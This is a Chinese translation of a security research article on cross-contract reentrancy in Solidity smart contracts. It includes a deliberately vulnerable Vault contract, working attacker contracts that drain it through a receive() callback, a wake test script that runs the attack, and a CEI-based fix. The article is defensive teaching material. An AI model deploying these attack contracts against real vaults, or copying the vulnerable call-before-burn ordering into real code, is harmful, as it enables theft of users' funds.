本文深入探讨了跨合约重入攻击的工作原理,通过一个具体示例展示了攻击过程,并提供了防御此类攻击的指导方案。文章强调了此类攻击的复杂性,以及传统重入锁ReentrancyGuard的局限性,提出了使用CEI模式作为有效的防御手段。
这篇研究文章回顾了跨合约重入攻击如何工作、一个攻击示例,以及关于如何预防跨合约重入攻击的指导。
之前,我们讨论了单函数重入攻击和跨函数重入攻击。 之前发现这些漏洞很容易,因为我们只需要检查用外部调用更新值是否不应该使用不同的值或更新该值。
跨合约重入攻击使用不同的智能合约来利用漏洞。 跨合约重入攻击中的代码更复杂,因为它使用了不同的合约,因此,我们应该搜索值在这些合约中是如何更新的。 此外,ReentrancyGuard
无法阻止这些类型的攻击。
这是一个容易受到跨合约重入攻击的合约示例。
这里有一个 CCRToken
合约和一个 Vault
合约。 CCRToken 是 ERC20 的自定义 token。 并且 Vault 在 ETH
和 CCRToken
之间进行交换。 Vault
存储 ETH
。
正如你在 Vault
合约中看到的,所有用户可调用函数都具有 nonReentrancy
。
因此,它无法进行单函数重入。 此外,Vault
合约中没有用于跨函数重入的 transfer
函数。 但是,类似于 transfer
函数位于 CCRToken
合约中。
这是 token 合约。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CCRToken is ERC20, Ownable {
// (manager i.e. victim) is trusted, so only they can mint and burn token
// (管理者,即受害者)是受信任的,所以只有他们可以铸造和销毁 token
constructor(address manager) ERC20("CCRToken", "CCRT") Ownable(manager) {}
// Only manager mint token
// 只有管理者可以铸造 token
function mint(address to, uint256 amount) external onlyOwner {
_mint(to, amount);
}
// Burn token
// 销毁 token
function burn(address from, uint256 amount) external onlyOwner {
_burn(from, amount);
}
}
这是有漏洞的 Vault 合约。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./token.sol";
contract Vault is ReentrancyGuard, Ownable {
CCRToken public customToken;
constructor() Ownable(msg.sender) {}
function setToken(address _customToken) external onlyOwner {
customToken = CCRToken(_customToken);
}
function deposit() external payable nonReentrant {
customToken.mint(msg.sender, msg.value); //eth to CCRT
}
function burnUser() internal {
customToken.burn(msg.sender, customToken.balanceOf(msg.sender));
}
/**
* @notice Vulnerable function. similary cross function reentrancy but it is harder to find.
* @notice 有漏洞的函数。 类似于跨函数重入,但更难找到。
* it uses other contracts and it has different features from just variables.
* 它使用其他合约,并且具有与变量不同的特性。
*/
function withdraw() external nonReentrant {
uint256 balance = customToken.balanceOf(msg.sender);
require(balance > 0, "Insufficient balance");
(bool success, ) = msg.sender.call{value: balance}("");
// attacker calls transfer CCRT balance to another account in the callback function.
// 攻击者在回调函数中调用 transfer CCRT 余额到另一个帐户。
require(success, "Failed to send Ether");
burnUser();
}
}
攻击的思想与跨函数重入攻击类似。 攻击者执行 withdraw,它具有外部函数调用,并且在这里,即使此合约中的所有外部函数都具有 non-reentrant,我们也可以调用 transfer
函数,因为它位于 CCRToken
合约中。
攻击在 attack
函数中完成。 调用 attack
函数后。
deposit
以准备攻击。withdraw
,它会向攻击者进行外部调用,并调用 receive
函数。receive
函数中,攻击者在 Token 合约中调用 transfer
并将 ERC20 值转移到 Attacker2
。Attacker
余额和 Attacker2
在 Token 中的总和是倍数。attacker2.send
将 Token 值从 Attacker2
发送到攻击者我们可以重复这些步骤,直到耗尽 Vault。
这是攻击合约。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "./vault.sol";
contract Attacker1 {
Vault victim;
CCRToken ccrt;
Attacker2 attacker2;
uint256 amount = 1 ether;
/**
* @param _victim victim address
* @param _ccrt victim token ERC20 address
*/
constructor(address _victim, address _ccrt) payable {
victim = Vault(_victim);
ccrt = CCRToken(_ccrt);
}
/**
* @notice Set attacker2 contract
* @notice 设置 attacker2 合约
* @param _attacker2 attacker colleague address
* @param _attacker2 攻击者同事地址
*/
function setattacker2(address _attacker2) public {
attacker2 = Attacker2(_attacker2);
}
/**
* @notice Receive ether. the same amount of withdraw() but we can transfer the same amount to attacker2.
* @notice 接收以太币。 与 withdraw() 的金额相同,但我们可以将相同金额转移到 attacker2。
* Because burn balance of attacker1 after this function.
* 因为在此函数之后会销毁 attacker1 的余额。
* @dev triggered by victim.withdraw()
* @dev 由 victim.withdraw() 触发
*/
receive() external payable {
ccrt.transfer(address(attacker2), msg.value);
}
/**
* @notice deposit and we can repeatedly withdraw.
* @notice 存款,我们可以反复取款。
*/
function attack() public {
uint256 value = address(this).balance;
victim.deposit{value: value}();
while(address(victim).balance >= amount){
victim.withdraw();
attacker2.send(address(this), value); //send ERC20 token that multiplied at recieve().
// 发送在 receive() 中翻倍的 ERC20 token。
}
}
}
contract Attacker2 {
Vault victim;
CCRToken ccrt;
uint256 amount = 1 ether;
constructor(address _victim, address _ccrt) {
victim = Vault(_victim);
ccrt = CCRToken(_ccrt);
}
/**
* @notice Just send ERC20 to the attacker
* @notice 只是将 ERC20 发送给攻击者
*/
function send(address _target, uint256 _amount) public {
ccrt.transfer(_target, _amount);
}
}
它比之前的示例更复杂,但这些都是为了部署合约,最重要的一步是在 attack 函数调用中。
它部署了 Vault 和 token 并设置了这些地址。
类似地,初始化攻击者。 并在攻击者中调用 attack
函数。
from wake.testing import *
from pytypes.contracts.crosscontractreentrancy.token import CCRToken
from pytypes.contracts.crosscontractreentrancy.vault import Vault
from pytypes.contracts.crosscontractreentrancy.attacker import Attacker1
from pytypes.contracts.crosscontractreentrancy.attacker import Attacker2
@default_chain.connect()
def test_default():
print("---------------------Cross Contract Reentrancy---------------------")
victim = default_chain.accounts[0]
attacker = default_chain.accounts[1]
vault = Vault.deploy(from_=victim)
token = CCRToken.deploy( vault.address ,from_=victim)
vault.setToken(token.address)
vault.deposit(from_=victim, value="4 ether")
attacker_contract = Attacker1.deploy(vault.address, token.address, from_=attacker, value="1 ether")
attacker2_contract = Attacker2.deploy(vault.address, token.address, from_=attacker)
attacker_contract.setattacker2(attacker2_contract.address, from_=attacker)
print("Vault balance : ", vault.balance)
print("Attacker balace: ", attacker_contract.balance)
print("----------Attack----------")
tx = attacker_contract.attack(from_=attacker)
print(tx.call_trace)
print("Vault balance : ", vault.balance)
print("Attacker balance: ", attacker_contract.balance)
这是wake的输出。 我们可以看到 Vault 余额从 4 EHT 变为 0 ETH。 攻击者余额从 1 ETH 变为 5 ETH。
简单的重入保护无法阻止此攻击。
这是一个直接的解决方案,因为它消除了重入攻击的可能性。 这是预防重入攻击的最佳方法。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./token.sol";
contract Vault is ReentrancyGuard, Ownable {
CCRToken public customToken;
constructor() Ownable(msg.sender) {}
function setToken(address _customToken) external onlyOwner {
customToken = CCRToken(_customToken);
}
function deposit() external payable nonReentrant {
customToken.mint(msg.sender, msg.value); //eth to CCRT
}
function burnUser() internal {
customToken.burn(msg.sender, customToken.balanceOf(msg.sender));
}
/**
* @notice Vulnerable function. similary cross function reentrancy but it is harder to find.
* @notice 有漏洞的函数。 类似于跨函数重入,但更难找到。
* it uses other contracts and it has different features from just variables.
* 它使用其他合约,并且具有与变量不同的特性。
*/
function withdraw() external nonReentrant {
uint256 balance = customToken.balanceOf(msg.sender);
require(balance > 0, "Insufficient balance");
burnUser();
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
}
}
跨合约重入的主要问题是 ReentrancyGuard
不起作用。 但是,问题始终是相同的,即不应使用函数中间的数据。 如果有多个合约,则入口状态的存储方式不同。 如果消除了这个问题,那么攻击就会停止。
我们有一个重入示例 Github 仓库,其中包含几种其他类型的重入攻击,包括攻击示例、特定于协议的重入和预防方法。
- 原文链接: ackee.xyz/blog/cross-con...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!